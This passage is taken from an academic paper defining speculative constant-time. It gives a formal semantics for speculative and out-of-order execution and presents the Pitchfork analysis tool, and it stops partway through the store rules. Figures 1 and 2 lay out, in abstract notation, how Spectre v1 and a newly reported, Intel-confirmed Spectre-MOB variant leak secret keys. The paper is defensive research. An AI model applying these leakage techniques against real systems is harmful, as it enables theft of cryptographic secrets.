Towards Constant-Time Foundations for the New Spectre Era

Sunjay Cauligi[†] Craig Disselkoen[†] Klaus v. Gleissenthall[†]
Dean Tullsen[†] Deian Stefan[†] Tamara Rezk[⋆] Gilles Barthe[♠♣]
[†]UC San Diego, USA [⋆]INRIA Sophia Antipolis, France
[♠]MPI for Security and Privacy, Germany [♣]IMDEA Software Institute, Spain

Abstract

The constant-time discipline is a software-based countermeasure used for protecting high assurance cryptographic implementations against timing side-channel attacks. Constant-time is effective (it protects against many known attacks), rigorous (it can be formalized using program semantics), and amenable to automated verification. Yet, the advent of microarchitectural attacks makes constant-time as it exists today far less useful.

This paper lays foundations for constant-time programming in the presence of speculative and out-of-order execution. We present an operational semantics and a formal definition of constant-time programs in this extended setting. Our semantics eschews formalization of microarchitectural features (that are instead assumed under adversary control), and yields a notion of constant-time that retains the elegance and tractability of the usual notion. We demonstrate the relevance of our semantics in two ways: First, by contrasting existing Spectre-like attacks with our definition of constant-time and by exhibiting a new, confirmed class of Spectre attacks based on alias prediction. Second, by implementing a static analysis tool, Pitchfork, which detects violations of our extended constant-time property in real world cryptographic libraries.

1 Introduction

Protecting secrets in software is hard. Security and cryptography engineers must write programs that protect secrets, both at the source level and when they execute on real hardware. Unfortunately, hardware too easily divulges information about a program's execution via *timing side-channels*—e.g., an attacker can learn secrets by simply observing (via timing) the effects of a program on the hardware cache [13].

The most robust way to deal with timing side-channels in software is via *constant-time* programming—the paradigm used to implement almost all modern cryptography [1, 2, 9, 27, 28]. Constant-time programs can neither branch on secrets nor access memory based on secret data.[1] These restrictions ensure that programs do not leak secret information via timing side channels on hardware *without* microarchitectural features. Unfortunately, these guarantees are moot for most modern hardware. Spectre [20], Meltdown [22], ZombieLoad [30], RIDL [33], and Fallout [25] are all dramatic examples of side-channel attacks that exploit microarchitectural features. These attacks reveal that code that is deemed constant-time in the usual sense may in fact leak information on processors with microarchitectural features. Thus the decade-old constant-time recipes are no longer enough. OpenSSL found this situation so hopeless that they recently updated their security model to explicitly exclude "physical system side channels" [26].

In this work, we lay the foundations for constant-time in the presence of microarchitectural features that have been exploited in recent attacks: out-of-order and speculative execution. We focus on constant-time for two key reasons. First, *impact*: constant-time programming is largely used in real-world crypto libraries—and high-assurance code—where developers already go to great lengths to eliminate leaks via side-channels. Second, *foundations:* constant-time programming is already rooted in foundations, with well-defined semantics. These semantics consider very powerful attackers—e.g., attackers in [4] have control over the cache and the scheduler. A nice effect of considering powerful attackers is that the semantics can overlook many hardware details—e.g., since the cache is adversarially controlled there is no point in modeling it precisely—making constant-time amenable to automated verification and enforcement.

Contributions We first define a semantics for an abstract, three-stage (fetch, execute, and retire) machine. Our machine supports out-of-order and speculative execution by modeling *reorder buffers* and *transient instructions*, respectively. Our semantics assumes that attackers have complete control over microarchitectural features (e.g., the branch target predictor), and uses adversarial execution *directives* to model the adversary's control over predictors. This keeps our semantics simple yet powerful: our semantics abstracts over

[1] More generally, constant-time programs cannot use secret data as input to any variable-time operation, including instructions like floating-point multiplication.

all predictors when proving security—under the proviso that predictors themselves do not leak secrets.

We then define *speculative constant-time*, the counterpart of constant-time for machines with out-of-order and speculative execution. This definition allows us to discover microarchitectural side channels in a principled way—all four classes of Spectre attacks as classified by Canella et al. [5], for example, manifest as violations of our constant-time property. Our semantics even reveal a new Spectre variant, Spectre-MOB, that exploits the aliasing predictor. We successfully demonstrate the feasibility of this attack on Intel Broadwell and Skylake processors (see Section 2). Luckily, this variant can be mitigated through existing countermeasures—in particular, Speculative Store Bypass Disable [16]. Nevertheless, this discovery illustrates the importance of formal semantics.

We further use our semantics to define a sound verification algorithm that detects violations of the speculative constant time property in real code. We use this algorithm to build a prototype tool, Pitchfork[2], which captures potential leakages in binaries. Pitchfork detects leakages in the well-known Kocher test cases [19] for Spectre v1, as well as our more extensive test suite which includes Spectre v1.1 variants. More significantly, we use Pitchfork to analyze cryptographic code from several libraries—libsodium, OpenSSL, and curve25519-donna—and find multiple Spectre bugs. Both Pitchfork and its test suites are available under an open source license.

2 Motivating examples

In this section, we present two examples that illustrate how classical constant-time programming is insufficient to prevent attacks that exploit microarchitectural features and describe how these attacks are captured by our semantics.

Classical constant time is not enough. Our first example, given in Figure 1, consists of 3 lines of code, shown on the top right. The program (a variant of the classical Spectre v1 attack [21]) branches on the value of register r_a (line $\underline{1}$). If r_a's value is smaller than 4, the program jumps to program location $\underline{2}$, where it uses r_a to index into a public array A, saves the value into register r_b and uses r_b to index into another public array B. If r_a is larger than or equal to 4 (i.e., the index is out of bounds), the program skips the two load instructions and jumps to location $\underline{4}$. In a sequential execution, this program neither loads nor branches on secret values. It thus trivially satisfies the constant-time discipline. Nonetheless, the program may leak secrets during speculative execution since execution can occur in almost any order.

Consider the processor state shown in Figure 1. Register values and memory layout are shown on the left. The *reorder buffer*, which tracks in-flight instructions to model out-of-order execution, is shown at the bottom.

Registers

r	$\rho(r)$
r_a	9_{pub}

Memory

a	$\mu(a)$
40..43	*array* A_{pub}
44..47	*array* B_{pub}
48..4B	*array* Key_{sec}

Program

n	$\mu(n)$
$\underline{1}$	$\mathsf{br}(>, (4, r_a), \underline{2}, \underline{4})$
$\underline{2}$	$(r_b = \mathsf{load}([40, r_a], \underline{3}))$
$\underline{3}$	$(r_c = \mathsf{load}([44, r_b], \underline{4}))$
$\underline{4}$	...

Speculative execution:

Directive	Effect on reorder buffer	Leakage
fetch: true	$\overline{1} \mapsto \mathsf{br}(>, (4, r_a), \underline{2}, (\underline{2}, \underline{4}))$	
fetch	$\overline{2} \mapsto (r_b = \mathsf{load}([40, r_a]))$	
fetch	$\overline{3} \mapsto (r_c = \mathsf{load}([44, r_b]))$	
execute $\overline{2}$	$\overline{2} \mapsto (r_b = Key[1]_{\text{sec}})$	read 49_{pub}
execute $\overline{3}$	$\overline{3} \mapsto (r_c = X)$	read a_{sec}
	where $a = Key[1]_{\text{sec}} + 44$	

Figure 1. Example demonstrating a v1 Spectre attack. The branch at $\underline{1}$ acts as bounds check for array A. The execution speculatively ignores the bounds check, resulting in leaking a byte of the secret *Key*.

A real processor executing this program might start execution by filling the reorder buffer with instructions. Since the value of conditional expressions will not be known when instructions are fetched, the processor *guesses* which branch will be taken. For example, even though r_a contains value 9 which makes the branch condition false, the processor may erroneously guess that it evaluates to true, and therefore execute the "true" branch speculatively. In hardware, such guesses are made by a branch prediction unit, which may however have been mistrained by an adversary.

In our semantics, the guesses, as well as additional choices such as execution order, are directly supplied by the adversary. We model this through a series of *directives*, shown on the bottom-left. The directive fetch: true instructs the processor to speculatively fetch the true branch and places the fetched instruction at index $\overline{1}$ in the reorder buffer. Similarly, the two following fetch directives place the loads at indices $\overline{2}$ and $\overline{3}$ in the buffer. The instructions in the reorder buffer, called *transient instructions*, do not necessarily match the original instructions, but can contain additional information (see Table 1). For instance, the transient version of the branch instruction additionally records which branch has been speculatively taken.

In our example, the attacker next instructs the processor to execute the first load through the directive execute $\overline{2}$. This results in an out of bounds read that aliases with the secret array $Key[1]$. Directive execute $\overline{3}$ then executes the following load, which leaks the secret through the cache, as witnessed by the leakage observation shown in red on the right. Though this secret leakage cannot happen under sequential execution, it is clearly displayed in our semantics.

New Spectre-MOB attack. Next, we give an example of a new class of Spectre attack that we discovered through our semantics. The attack is based on a microarchitectural feature

[2] https://github.com/cdisselkoen/pitchfork

which allows processors to speculate whether a store and load pair might operate on the same address, and forward values between them [17, 29]. Our attack, called Spectre-MOB (from *Memory Order Buffer* [17]) using the Canella et al. naming scheme [5], is not purely theoretical: we have successfully leaked secret memory on Intel i7-5600U (Broadwell) and i7-6700K (Skylake) processors using the code given in Appendix C. We disclosed this attack to Intel on Oct 23, 2019, and received confirmation that our proof-of-concept indeed demonstrated a vulnerability. Since the attack can be prevented by the Speculative Store Bypass Disable [16] mitigation, Intel gave us freedom to publish the attack without an embargo.

We demonstrate a Spectre-MOB attack in terms of our semantics in Figure 2. The program stores the value of register r_b into the array $secretKey_{\text{sec}}$ and eventually loads two values from public arrays. We show the reorder buffer after all instructions have been fetched. The processor first executes the store to resolve the value of register r_b. This is done via the directive execute $\overline{2}$: value and results in a buffer where the store instruction at $\overline{2}$ has been modified to record the resolved value x_{sec}. Next, the attacker causes the processor to mispredict that the load at $\overline{7}$ aliases with the store at $\overline{2}$, causing the store to forward its value to the load; in our semantics, this is represented by the directive execute $\overline{7}$: fwd $\overline{2}$. The forwarded value x_{sec} is then used in the address $a = 48 + x_{\text{sec}}$ (which contains some irrelevant value X) of the load instruction at index $\overline{8}$. This leaks a to the attacker, allowing them to recover the secret value x_{sec}. The speculative execution continues and rolls back when the misprediction is detected (details on this are given in Section 3), but at this point, the secret has already been leaked.

As with the example in Figure 1, the program in this example follows the (sequential) constant-time discipline, but leaks during speculative execution. However, both examples are considered insecure by our new notion of speculative constant-time, which we discuss in Section 3.

We briefly comment on the relationship of Spectre-MOB with existing attacks: Our attack is subtly different from Spectre v4—while Spectre v4 relies on the processor *failing* to forward a store's data to a load when it should [15], Spectre-MOB relies on the processor incorrectly *performing* the forward when it shouldn't. Our attack is also different from the "Microarchitectural Data Sampling", or MDS, attacks (ZombieLoad [30], RIDL [33], Fallout [25]). Although these are similar in effect to our Spectre-MOB attack, these attacks rely on triggering memory faults to induce the incorrect forwarding behavior, as opposed to a mistrained predictor. This places the MDS attacks in the Meltdown [22] family of attacks rather than Spectre.

Registers

r	$\rho(r)$
r_a	2_{pub}
r_b	x_{sec}

Memory

a	$\mu(a)$
`40..43`	$secretKey_{\text{sec}}$
`44..47`	$pubArrA_{\text{pub}}$
`48..4B`	$pubArrB_{\text{pub}}$

Reorder buffer

i	$buf(i)$
$\overline{2}$	$\text{store}(r_b, [\texttt{40}, r_a])$
	$\ldots$
$\overline{7}$	$(r_c = \text{load}([45]))$
$\overline{8}$	$(r_c = \text{load}([48, r_c]))$

Directive	Speculative execution Effect on *buf*	Leakage
execute $\overline{2}$: value	$\overline{2} \mapsto \text{store}(x_{\text{sec}}, [\texttt{40}, r_a])$	
execute $\overline{7}$: fwd $\overline{2}$	$\overline{7} \mapsto (r_c = \text{load}([45], x_{\text{sec}}, \overline{2}))$	
execute $\overline{8}$	$\overline{8} \mapsto (r_c = X\{\bot, a\})$	`read` a_{sec}
execute $\overline{2}$: addr	$\overline{2} \mapsto \text{store}(r_b, 42_{\text{pub}})$	`fwd` 42_{pub}
execute $\overline{7}$	$\{\overline{7}, \overline{8}\} \notin buf$	`rollback`, `fwd` 45_{pub}

where $a = x_{\text{sec}} + 48$

Figure 2. Example demonstrating the new Spectre-MOB attack. This attack differs from prior speculative data forwarding attacks in that branch misprediction is not needed.

3 Speculative semantics and security

In this section we define the notion of speculative constant time, and propose a speculative semantics that simulates execution on modern processors. We start by laying the groundwork for our definitions and semantics.

Configurations. A configuration $C \in \text{Confs}$ represents the state of execution at a given step. It is defined as a tuple (ρ, μ, n, buf) where:

- $\rho : \mathcal{R} \rightharpoonup \mathcal{V}$ is a map from a finite set of register names $\mathcal{R}$ to values;
- $\mu : \mathcal{V} \rightharpoonup \mathcal{V}$ is a memory;
- $n : \mathcal{V}$ is the current program point;
- $buf : \mathbb{N} \rightharpoonup \text{TransInstr}$ is the reorder buffer.

Values and labels. As a convention, we use n for memory addresses that map to instructions, and a for addresses that map to data. Each value is annotated with a label from a lattice of security labels with join operator $\sqcup$. We may omit label annotations on values when these are public.

Using labels, we can define an equivalence $\simeq_{\text{pub}}$ on configurations. Two configurations are equivalent if they coincide on public values in registers and memories.

Reorder buffer. The *reorder buffer* maps buffer indices (natural numbers) to transient instructions. We write $buf(i)$ to denote the instruction at index i in buffer buf, if i is in buf's domain. We write $buf[i \mapsto \underline{\text{instr}}]$ to denote the result of extending buf with the mapping from i to $\underline{\text{instr}}$, and $buf \setminus buf(i)$ for the function formed by removing i from buf's domain. We write $buf[j : j < i]$ to denote the restriction of buf's domain to all indices j, s.t. $j < i$ (i.e., removing all mappings at indices i and greater). Our rules add and remove

Table 1. Instructions and their transient instruction form.

	Instruction	**Transient form(s)**	
arithmetic operation (op specifies opcode)	$(r = \mathsf{op}(op, \overrightarrow{rv}, n'))$	$(r = \mathsf{op}(op, \overrightarrow{rv}))$ $(r = v_\ell)$	*(unresolved op)* *(resolved value)*
conditional branch	$\mathsf{br}(op, \overrightarrow{rv}, n^{\mathsf{true}}, n^{\mathsf{false}})$	$\mathsf{br}(op, \overrightarrow{rv}, n_0, (n^{\mathsf{true}}, n^{\mathsf{false}}))$ $\mathsf{jump}\ n_0$	*(unresolved conditional)* *(resolved conditional)*
memory load (at program point n)	$(r = \mathsf{load}(\overrightarrow{rv}, n'))$	$(r = \mathsf{load}(\overrightarrow{rv}))^n$ $(r = \mathsf{load}(\overrightarrow{rv}, (v_\ell, j)))^n$ $(r = v_\ell\{\bot, a\})^n$ $(r = v_\ell\{j, a\})^n$	*(unresolved load)* *(partially resolved load with dependency on j)* *(resolved load without dependencies)* *(resolved load with dependency on j)*
memory store	$\mathsf{store}(rv, \overrightarrow{rv}, n')$	$\mathsf{store}(rv, \overrightarrow{rv})$ $\mathsf{store}(v_\ell, a_\ell)$	*(unresolved store)* *(resolved store)*
indirect jump	$\mathsf{jmpi}(\overrightarrow{rv})$	$\mathsf{jmpi}(\overrightarrow{rv}, n_0)$	*(unresolved jump predicted to n_0)*
function calls	$\mathsf{call}(n_f, n_{ret})$ ret	call ret	*(unresolved call)* *(unresolved return)*
speculation fence	$\mathsf{fence}\ n$	fence	*(no resolution step)*

$$(buf +_i \rho)(r) = \begin{cases} v_\ell & \textit{if } max(j) < i : buf(j) = (r = \_) \wedge \\ & \qquad buf(j) = (r = v_\ell) \\ \rho(r) & \textit{if } \forall j < i : buf(j) \neq (r = \_) \\ \bot & \textit{otherwise} \end{cases}$$

Figure 3. Definition of the register resolve function.

indices in a way that ensures that buf's domain will always be contiguous.

Notation. We let $\mathsf{MIN}(M)$ (resp. $\mathsf{MAX}(M)$) denote the minimum (maximum) index in the domain of a mapping M. We denote the empty mapping as $\emptyset$ and let $\mathsf{MIN}(\emptyset) = \mathsf{MAX}(\emptyset) = 0$.

For a formula φ, we may discuss the bounded highest (resp. lowest) index for which a formula holds. We write $max(j) < i : \varphi(j)$ to mean that j is the highest index less than i for which φ holds, and define $min(j) > i : \varphi(j)$ analogously.

Register resolve function. In Figure 3, we define the *register resolve function*, which let us determine the value of a register in the presence of transient instructions in the reorder buffer. For index i and register r, the function may **(1)** return the latest assignment to r prior to position i in the buffer, if the corresponding operation is already resolved; **(2)** return the value from the register map ρ, if there are no pending assignments to r in the buffer; or **(3)** be undefined. Note that if the latest assignment to r is yet unresolved then $(buf +_i \rho)(r) = \bot$. We extend this definition to values by defining $(buf +_i \rho)(v_\ell) = v_\ell$ for all $v_\ell \in \mathcal{V}$, and lift it to lists of registers or values using a pointwise lifting.

3.1 Speculative constant-time

We present our new notion of constant-time security in terms of a small-step semantics, which relates program configurations, attacker directives, and observations. Our approach has two important benefits: First, the use of observations and directives allows our semantics to remain *tractable* and *amenable to verification.* For instance, the behavior of cache or branch predictor does not need to be modelled in the semantics. Second, our notion of speculative constant-time is *robust*, e.g., it holds for all possible branch predictors and replacement policies—assuming that they do not leak secrets directly, a condition that is achieved by all practical implementations.

We write $C \xhookrightarrow[d]{o} C'$ to denote that given an attacker directive d, an execution step starting from configuration C leads to configuration C' and produces an observation o.

Program execution is defined from the small-step semantics in the usual style: we write $C \;{}_O{\Downarrow}_D^N\; C'$ if there is a sequence of execution steps from C to C'; D and O are the concatenation of the directives and leakages at each step, and N is the number of retired instructions. That is, $N = \#\{d \in D \mid d = \mathsf{retire}\}$. We omit D, N, or O when not used.

Definition 3.1 (Speculative constant-time)**.** We say a configuration C with schedule D satisfies *speculative constant-time* (SCT) with respect to a low-equivalence relation $\simeq_{\mathsf{pub}}$ iff for every C' such that $C \simeq_{\mathsf{pub}} C'$:

$$C \;{}_D{\Downarrow}_O\; C_1 \text{ iff } C' \;{}_D{\Downarrow}_{O'}\; C'_1 \text{ and } C_1 \simeq_{\mathsf{pub}} C'_1 \text{ and } O = O'.$$

A program satisfies *speculative constant-time* (SCT) with respect to a low-equivalence relation $\simeq_{\mathsf{pub}}$ if every initial configuration satisfies speculative constant-time under any schedule.

Aside on sequential consistency. Processors work hard to create consistency: the illusion that in spite of their complexity, assembly instructions are executed sequentially. We validate our semantics by proving sequential consistency. Formally, we define *sequential schedules* as schedules that execute and retire instructions immediately upon fetching them. We attach to each program a canonical sequential schedule, and write $C {\Downarrow}_{seq}^{N} C'$ to model execution under this canonical schedule. Sequential consistency is defined relative to an equivalence $\approx$ on configurations. Informally, two configurations are equivalent if their memories and register files are equal—but their speculative states may be different.

Theorem 3.2 (Sequential consistency). *Let C be an initial configuration and D a well-formed schedule for C. If $C {\Downarrow}_{D}^{N} C_1$, then $C {\Downarrow}_{seq}^{N} C_2$ and $C_1 \approx C_2$.*

Complete definitions, more properties, and proofs are given in Appendix B.

3.2 Overview of the semantics

In the remainder of this section, we show how we model speculative execution (Section 3.3), memory operations (Section 3.4), aliasing prediction (Section 3.5), and fence instructions (Section 3.6). We also briefly describe indirect jumps and function calls (Section 3.7), which are presented in full in Appendix A. The semantics captures a variety of existing Spectre variants, including v1 (Figure 1), v1.1 (Figure 6), and v4 (Figure 7), as well as our new Spectre-MOB variant (Figure 2). Additional variants can be expressed with the extended semantics given in Appendix A. Our semantics shows that these attacks violate SCT by producing observations depending on secrets.

3.3 Speculative execution

We start with the semantics for *conditional branches* which introduce speculative execution.

Conditional branching. The physical instruction for conditional branches has the form $\mathsf{br}(op, \overrightarrow{rv}, n^{\mathsf{true}}, n^{\mathsf{false}})$, where op is a Boolean operator whose result determines whether or not to execute the jump, $\overrightarrow{rv}$ are the operands to op, and n^{true} and n^{false} are the program points for the *true* and *false* branches, respectively.

We show br's transient counterparts in Table 1. The unresolved form extends the physical instruction by a program point n_0, which is used to record the branch that is executed speculatively, and may or may not correspond to the branch that is taken, once op is resolved. The resolved form contains the final jump target.

Fetch. We give the rule for the fetch stage below.

COND-FETCH

$$\dfrac{\mu(n) = \mathsf{br}(op, \overrightarrow{rv}, n^{\mathsf{true}}, n^{\mathsf{false}}) \qquad i = \mathsf{MAX}(buf) + 1 \\ buf' = buf[i \mapsto \mathsf{br}(op, \overrightarrow{rv}, n^{\mathsf{true}}, (n^{\mathsf{true}}, n^{\mathsf{false}}))]}{(\rho, \mu, n, buf) \xhookrightarrow[\mathsf{fetch:\ true}]{} (\rho, \mu, n^{\mathsf{true}}, buf')}$$

The COND-FETCH rule speculatively executes the branch determined by a Boolean value $b \in \{\mathsf{true}, \mathsf{false}\}$ specified by the directive. We show the rule when $b = \mathsf{true}$; the case for false is analogous. The rule updates the current program point n, allowing execution to continue along the specified branch. The rule then records the chosen branch n^{true} in the transient jump instruction.

This semantics models the behavior of most modern processors. Since the target of the branch cannot be resolved in the fetch stage, speculation allows execution to continue rather than stalling until the branch target is resolved. In hardware, the choice of which branch to execute is made by a branch predictor; our semantics instead allows the schedule to choose which of the rules to execute through the directives fetch: true and fetch: false. This allows us to abstract over all possible predictor implementations.

Execute. Next, we discuss rules for the execute stage.

COND-EXECUTE-CORRECT

$$\dfrac{buf(i) = \mathsf{br}(op, \overrightarrow{rv}, n_0, (n^{\mathsf{true}}, n^{\mathsf{false}})) \\ \forall j < i : buf(j) \neq \mathsf{fence} \\ (buf +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad [\![op(\overrightarrow{v_\ell})]\!] = \mathsf{true}_\ell \\ n^{\mathsf{true}} = n_0 \qquad buf' = buf[i \mapsto \mathsf{jump}\ n^{\mathsf{true}}]}{(\rho, \mu, n, buf) \xhookrightarrow[\mathsf{execute}\ i]{\mathtt{jump}\ n_\ell^{\mathsf{true}}} (\rho, \mu, n, buf')}$$

COND-EXECUTE-INCORRECT

$$\dfrac{buf(i) = \mathsf{br}(op, \overrightarrow{rv}, n_0, (n^{\mathsf{true}}, n^{\mathsf{false}})) \\ \forall j < i : buf(j) \neq \mathsf{fence} \\ (buf +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad [\![op(\overrightarrow{v_\ell})]\!] = \mathsf{true}_\ell \\ n^{\mathsf{true}} \neq n_0 \qquad buf' = buf[j : j < i][i \mapsto \mathsf{jump}\ n^{\mathsf{true}}]}{(\rho, \mu, n, buf) \xhookrightarrow[\mathsf{execute}\ i]{\mathtt{rollback, jump}\ n_\ell^{\mathsf{true}}} (\rho, \mu, n^{\mathsf{true}}, buf')}$$

Both rules evaluate the condition op via an evaluation function $[\![\cdot]\!]$ resulting in the value true (case false is analogous). The rules then compare the actual branch target n_{true} against the speculatively chosen target n_0 from the fetch stage.

If the *correct* path was chosen during speculation, i.e., n_0 agrees with the correct branch n^{true}, rule COND-EXECUTE-CORRECT updates buf with the fully resolved jump instruction and emits an observation of $\mathtt{jump}\ n_\ell^{\mathsf{true}}$. This models how an attacker can observe control flow, e.g., by timing executions along different paths. The leaked observation n^{true} has label ℓ, propagated from the evaluation of the condition.

In case the *wrong* path was taken during speculation, i.e., the calculated branch n^{true} *disagrees* with n_0, the semantics must roll back all execution steps along the erroneous path. For this, rule COND-EXECUTE-INCORRECT removes all entries

(a) Predicted correctly

i	Initial $buf(i)$	$buf(i)$ after execute $\overline{4}$
$\overline{3}$	$(r_b = 4)$	$(r_b = 4)$
$\overline{4}$	$\mathsf{br}(<, (2, r_a), \underline{9}, (\underline{9}, \underline{12}))$	$\mathsf{jump}\ \underline{9}$
$\overline{5}$	$(r_c = \mathsf{op}(+, (1, r_b)))$	$(r_c = \mathsf{op}(+, (1, r_b)))$

(b) Predicted incorrectly

i	Initial $buf(i)$	$buf(i)$ after execute $\overline{4}$
$\overline{3}$	$(r_b = 4)$	$(r_b = 4)$
$\overline{4}$	$\mathsf{br}(<, (2, r_a), \underline{12}, (\underline{9}, \underline{12}))$	$\mathsf{jump}\ \underline{9}$
$\overline{5}$	$(r_d = \mathsf{op}(*, (r_g, r_h)))$	-

Figure 4. Correct and incorrect branch prediction. Initially, $r_a = 3$. In (b), the misprediction causes a rollback to $\overline{4}$.

in *buf* that are newer than the current instruction (i.e., all entries $j \geq i$), sets the program point n to the correct branch, and updates *buf* at index i with correct value for the resolved jump instruction. Since misspeculation can be externally visible through instruction timing [21], the rule issues a `rollback` observation in addition to the `jump` observation.

Retire. The rule for the retire stage is shown below; its only effect is to remove the jump instruction from the buffer.

JUMP-RETIRE

$$\frac{\begin{array}{c}\mathsf{MIN}(buf) = i \\ buf(i) = \mathsf{jump}\ n_0 \qquad buf' = buf \setminus buf(i)\end{array}}{(\rho, \mu, n, buf) \xhookrightarrow[\text{retire}]{} (\rho, \mu, n, buf')}$$

Examples. Figure 4 shows how branch prediction affects the reorder buffer. In part (a), the branch at index $\overline{4}$ is predicted correctly. The jump instruction is resolved, and execution proceeds as normal. In part (b), the branch at index $\overline{4}$ is incorrectly predicted. Upon executing the branch, the misprediction is detected, and *buf* is rolled back to index $\overline{4}$.

3.4 Memory operations

The physical instruction for loads is $(r = \mathsf{load}(\overrightarrow{rv}, n'))$, while the form for stores is $\mathsf{store}(rv, \overrightarrow{rv}, n')$. As before, n' is the program point of the next instruction. For loads, r is the register receiving the result, while for stores, rv is the register or value to be stored. For both loads and stores, $\overrightarrow{rv}$ is a list of operands (registers and values) which are used to calculate the operation's target address.

Transient counterparts of load and store are given in Table 1. We annotate unresolved load instructions with the program point of the physical instruction that generated them; we omit annotations whenever not used. Unresolved and resolved store instructions share the same syntax, but for resolved stores, both address and operand are required to be single values.

Address calculation. We assume an arithmetic operator *addr* which calculates target addresses for stores and loads from its operands. We leave this operation abstract in order to model a large variety of architectures. For example, in a simple addressing mode, $[\![addr(\overrightarrow{v})]\!]$ might compute the sum of its operands; in an x86-style address mode, $[\![addr([v_1, v_2, v_3])]\!]$ might instead compute $v_1 + v_2 \cdot v_3$.

Store forwarding. With out-of-order semantics, it is possible for our execution state to have multiple load and store transient instructions concurrently. In particular, there may be unresolved loads and stores that will read or write to the same address in memory. Under a naive model, we must wait to execute load instructions until all prior store instructions have been retired, in case they overwrite the address we will load from. Indeed, some real-world processors behave exactly this way [8].

However, for performance reasons, most modern processors implement *store-forwarding* for memory operations: if a load reads from the same address as a prior store and the store has already been resolved, the processor can *forward* the resolved value to the load rather than wait for the store to commit to memory [35].

To properly model forwarding semantics, we use annotations to recall if a load was resolved from memory or forwarding. A resolved load has the form $(r = v_\ell\{j, a\})^n$, where the index j records either the buffer index of the store instruction that forwarded its value to the load, or $\perp$ if the value was taken from memory. We also record the memory address a associated with the data, and retain the program point n of the load instruction that generated the value instruction. The resolved load otherwise behaves as a resolved value instruction (e.g., for register resolve function or retirement).

Fetch. We now discuss the inference rules for memory operations, starting with the fetch stage.

SIMPLE-FETCH

$$\frac{\begin{array}{c}\mu(n) \in \{\mathsf{op}, \mathsf{load}, \mathsf{store}, \mathsf{fence}\} \qquad n' = next(\mu(n)) \\ i = \mathsf{MAX}(buf) + 1 \qquad buf' = buf[i \mapsto transient(\mu(n))]\end{array}}{(\rho, \mu, n, buf) \xhookrightarrow[\text{fetch}]{} (\rho, \mu, n', buf')}$$

Given a fetch directive, rule SIMPLE-FETCH extends the reorder buffer *buf* with a new transient instruction (see Table 1). Other than load and store, the rule also applies to op and fetch instructions. The *transient*$(\cdot)$ function simply translates the physical instruction at $\mu(n)$ to its unresolved transient form. It inserts the new, transient instruction at the first empty index in *buf*, and sets the current program point to the next instruction n'. Note that *transient*$(\cdot)$ annotates the transient load instruction with its program point.

Load execution. Next, we cover the rules for the load execute stage.

LOAD-EXECUTE-NODEP

$$\frac{\begin{array}{c} \mathit{buf}(i) = (r = \mathsf{load}(\overrightarrow{rv}))^n \qquad \forall j < i : \mathit{buf}(j) \neq \mathsf{fence} \\ (\mathit{buf} +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad [\![\mathit{addr}(\overrightarrow{v_\ell})]\!] = a \\ \ell_a = \sqcup \overrightarrow{\ell} \qquad \forall j < i : \mathit{buf}(j) \neq \mathsf{store}(\_, a) \\ \mu(a) = v_\ell \qquad \mathit{buf}' = \mathit{buf}[i \mapsto (r = v_\ell\{\bot, a\})^n] \end{array}}{(\rho, \mu, n, \mathit{buf}) \xhookrightarrow[\text{execute } i]{\texttt{read } a_{\ell_a}} (\rho, \mu, n, \mathit{buf}')}$$

LOAD-EXECUTE-FORWARD

$$\frac{\begin{array}{c} \mathit{buf}(i) = (r = \mathsf{load}(\overrightarrow{rv}))^n \qquad \forall j < i : \mathit{buf}(j) \neq \mathsf{fence} \\ (\mathit{buf} +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad [\![\mathit{addr}(\overrightarrow{v_\ell})]\!] = a \qquad \ell_a = \sqcup \overrightarrow{\ell} \\ \mathit{max}(j) < i : \mathit{buf}(j) = \mathsf{store}(\_, a) \wedge \mathit{buf}(j) = \mathsf{store}(v_\ell, a,) \\ \mathit{buf}' = \mathit{buf}[i \mapsto (r = v_\ell\{j, a\})^n] \end{array}}{(\rho, \mu, n, \mathit{buf}) \xhookrightarrow[\text{execute } i]{\texttt{fwd } a_{\ell_a}} (\rho, \mu, n, \mathit{buf}')}$$

Given an execute directive for buffer index i, and under the condition that i points to an unresolved load, rule LOAD-EXECUTE-NODEP applies if there are no prior store instructions in *buf* that have a resolved, matching address. The rule first resolves the operand list $\overrightarrow{rv}$ into a list of values $\overrightarrow{v_\ell}$, and then uses $\overrightarrow{v_\ell}$ to calculate the target address a. It then retrieves the current value v_ℓ at address a from memory, and finally adds to the buffer a resolved value instruction assigning v_ℓ to the target register r. We annotate the value instruction with the address a and $\bot$, signifying that the value comes from memory. Finally, the rule produces the observation `read` a_{ℓ_a}, which renders the memory read at address a with label ℓ_a visible to an attacker.

Rule LOAD-EXECUTE-FORWARD applies if the most recent store instruction in *buf* with a resolved, matching address has a resolved data value. Instead of accessing memory, the rule forwards the value from the store instruction, annotating the new value instruction with the calculated address a and the index j of the originating store instruction. The rule produces a `fwd` observation with the labeled address a_{ℓ_a}. This observation captures that the attacker can determine (e.g., by observing the *absence* of memory access using a cache timing attack) that a forwarded value from address a was found in the buffer instead of loaded from memory.

Importantly, neither of the rules has to wait for prior stores to be resolved, but can instead proceed speculatively. This can lead to memory hazards when a more recent store to the load's address has not been resolved yet; we show how to deal with hazards in the rules for the store instruction.

Store execution. We show the rules for stores below.

STORE-EXECUTE-VALUE

$$\frac{\begin{array}{c} \mathit{buf}(i) = \mathsf{store}(rv, \overrightarrow{rv}) \qquad \forall j < i : \mathit{buf}(j) \neq \mathsf{fence} \\ (\mathit{buf} +_i \rho)(rv) = v_\ell \qquad \mathit{buf}' = \mathit{buf}[i \mapsto \mathsf{store}(v_\ell, \overrightarrow{rv})] \end{array}}{(\rho, \mu, n, \mathit{buf}) \xhookrightarrow[\text{execute } i:\text{value}]{} (\rho, \mu, n, \mathit{buf}')}$$

STORE-EXECUTE-ADDR-OK

